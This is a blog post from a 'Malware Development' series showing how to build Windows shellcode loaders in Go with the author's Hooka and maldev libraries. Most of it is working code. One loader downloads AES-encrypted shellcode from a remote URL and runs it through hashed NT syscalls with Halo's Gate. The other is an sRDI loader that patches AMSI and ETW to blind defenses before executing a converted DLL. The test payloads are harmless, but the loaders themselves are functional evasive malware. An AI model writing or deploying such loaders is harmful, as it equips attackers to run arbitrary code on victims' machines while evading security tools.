Malware Development 15 - Using Hooka and Maldev for Malware Dev (Golang)
Introduction
Hi there!
This post is definitely much more special for me since today we’ll use two different tools/projects I’ve coded and are published on my Github, to develop malware in an easier way. If you want to check them out before reading the post, this are the official repositories: Hooka and maldev
First Example
In this first part of the post, we are going to create a shellcode loader which retrieves encrypted shellcode (AES) from a remote URL, then it’s decrypted, after this API calls (which are used to inject the shellcode) are resolved using a hashing function to finally execute the shellcode. In this case we will use the classic NtCreateThreadEx with Halo’s Gate evasion technique.
The algorithm used to encrypt the shellcode will be AES but I won’t dig deep on this, just here is the encrypter script I used to encrypt the calc.exe shellcode: https://github.com/D3Ext/maldev/blob/main/examples/encrypter.go
Let’s start by defining the packages we will use
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main
import (
"crypto/sha1"
"encoding/hex"
"fmt"
"golang.org/x/sys/windows"
"log"
"os"
"syscall"
"unsafe"
"github.com/D3Ext/Hooka/pkg/hooka"
mcrypto "github.com/D3Ext/maldev/crypto"
mshellcode "github.com/D3Ext/maldev/shellcode"
)
If you want to use another hashing function feel free to do it, in this case we’ll use the Sha1 function from https://github.com/D3Ext/maldev but with a slightly.
1
2
3
4
func Sha1(str string) string {
hash := sha1.Sum([]byte(str))
return hex.EncodeToString(hash[:])
}
After this we start with the main logic by retrieving the shellcode from remote url
1
2
3
4
5
6
fmt.Println("[*] Retrieving encrypted shellcode...")
// remote shellcode is encrypted with AES
enc_shellcode, err := mshellcode.GetShellcodeFromUrl(os.Args[1])
if err != nil {
log.Fatal(err)
}
Perfect, with that we should be able to get shellcode from remote URL but it’s already encrypted so let’s decrypt it.
1
2
3
4
5
6
7
8
9
iv := enc_shellcode[0:16]
enc_shellcode = enc_shellcode[16:]
password := "MySuperSecret32BitsLongPassword!"
fmt.Println("[*] Decrypting shellcode...")
shellcode, err := mcrypto.AESDecrypt(enc_shellcode, iv, []byte(password))
if err != nil {
log.Fatal(err)
}
Now we encrypt the calc.exe shellcode:
Once we’ve done this let’s continue by resolving API calls by combining Halo’s Gate and API hashing techniques
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fmt.Println("[*] Resolving API calls...")
// 04262a7943514ab931287729e862ca663d81f515 --> StrToSha1("NtAllocateVirtualMemory")
NtAllocateVirtualMemory, _, err := hooka.GetSysIdHashing("04262a7943514ab931287729e862ca663d81f515", Sha1)
if err != nil {
log.Fatal(err)
}
// 6caed95840c323932b680d07df0a1bce28a89d1c --> StrToSha1("NtWriteVirtualMemory")
NtWriteVirtualMemory, _, err := hooka.GetSysIdHashing("6caed95840c323932b680d07df0a1bce28a89d1c", Sha1)
if err != nil {
log.Fatal(err)
}
// 059637f5757d91ad1bc91215f73ab6037db6fe59 --> StrToSha1("NtProtectVirtualMemory")
NtProtectVirtualMemory, _, err := hooka.GetSysIdHashing("059637f5757d91ad1bc91215f73ab6037db6fe59", Sha1)
if err != nil {
log.Fatal(err)
}
// 91958a615f982790029f18c9cdb6d7f7e02d396f --> StrToSha1("NtCreateThreadEx")
NtCreateThreadEx, _, err := hooka.GetSysIdHashing("91958a615f982790029f18c9cdb6d7f7e02d396f", Sha1)
if err != nil {
log.Fatal(err)
}
And finally we approach all these API calls in order to execute our shellcode, this part isn’t interesting at all since there are tons of examples that use this same technique. So here is the remaining code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
var addr uintptr
regionsize := uintptr(len(shellcode))
fmt.Println("[*] Calling NtAllocateVirtualMemory...")
r, err := hooka.Syscall(
NtAllocateVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
0,
uintptr(unsafe.Pointer(®ionsize)),
windows.MEM_COMMIT|windows.MEM_RESERVE,
syscall.PAGE_READWRITE,
)
if r != 0 {
log.Fatal(err)
}
fmt.Println("[*] Calling NtWriteVirtualMemory...")
hooka.Syscall(
NtWriteVirtualMemory,
uintptr(0xffffffffffffffff),
addr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
fmt.Println("[*] Calling NtProtectVirtualMemory...")
var oldProtect uintptr
r, err = hooka.Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&addr)),
uintptr(unsafe.Pointer(®ionsize)),
syscall.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtect)),
)
if r != 0 {
log.Fatal(err)
}
fmt.Println("[*] Calling NtCreateThreadEx...")
var hhosthread uintptr
r, err = hooka.Syscall(
NtCreateThreadEx,
uintptr(unsafe.Pointer(&hhosthread)),
0x1FFFFF,
0,
uintptr(0xffffffffffffffff),
addr,
0,
uintptr(0),
0,
0,
0,
0,
)
fmt.Println("[*] Executing shellcode...")
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
if r != 0 {
log.Fatal(err)
}
fmt.Println("[+] Shellcode has been executed!")
The loader is finished, let’s compile and transfer it to our testing Windows machine
1
$ GOARCH=amd64 GOOS=windows go build main.go
As soon as I receive an HTTP request on my web server, a calc.exe window spawns.
Second Example
Okay, the first example is a little bit low-level so let’s do something much more easy. It will be a sRDI loader (Shellcode Reflective DLL Injection). It will convert the given DLL to position independant shellcode and inject it as a common loader. Moreover we’ll also add some extra security layers to show Hooka and maldev potential. Both tools come with a specific function to convert a PE (Portable Executable) to shellcode.
To verify if the code works we’ll use a MessageBox DLL example, the same I used on the 10th episode of the Malware Dev series. (code here)
As we did before we start with the packages
1
2
3
4
5
6
7
8
9
10
package main
import (
"flag"
"fmt"
"log"
"os"
"github.com/D3Ext/Hooka/pkg/hooka"
)
This time we’ll also use the flag package to create CLI arguments
1
2
3
4
5
6
var pe string
var function string
flag.StringVar(&pe, "p", "", "Portable Executable (PE) to convert to shellcode")
flag.StringVar(&function, "f", "", "function name to execute")
flag.Parse()
At this point we convert the given PE to shellcode, based on given function (in our case “main” which is the default)
1
2
3
4
5
fmt.Println("[*] Converting " + pe + " to position independent shellcode...")
shellcode, err := hooka.ConvertDllToShellcode(pe, function, "")
if err != nil {
log.Fatal(err)
}
To add more complexity to out sRDI loader, we’ll also patch ETW and AMSI
1
2
3
4
5
6
7
8
9
10
11
fmt.Println("[*] Patching AMSI...")
err = hooka.PatchAmsi()
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Patching ETW...")
err = hooka.PatchEtw()
if err != nil {
log.Fatal(err)
}
And last but not least we execute the obtained shellcode.
1
2
3
4
5
6
7
fmt.Println("[*] Executing shellcode via UuidFromStringA technique...")
err = hooka.UuidFromString(shellcode)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Shellcode should have been executed!")
Let’s compile the DLL we will test the loader with
1
$ GOARCH=amd64 GOOS=windows CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o dll_example.dll dll_example.go
And after this we compile and transfer the program
A message box spawns so we confirm the code works as expected!
References
1
2
3
4
5
6
7
8
9
https://github.com/D3Ext/Hooka
https://github.com/D3Ext/maldev
https://en.wikipedia.org/wiki/Advanced_Encryption_Standard
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection
https://github.com/boku7/AsmHalosGate
https://blog.sektor7.net/#!res/2021/halosgate.md
https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection
https://github.com/monoxgas/sRDI
Conclusion
I hope this post has been useful to you and you have learned some uses of my tools which are mainly designated for malware development
Source code here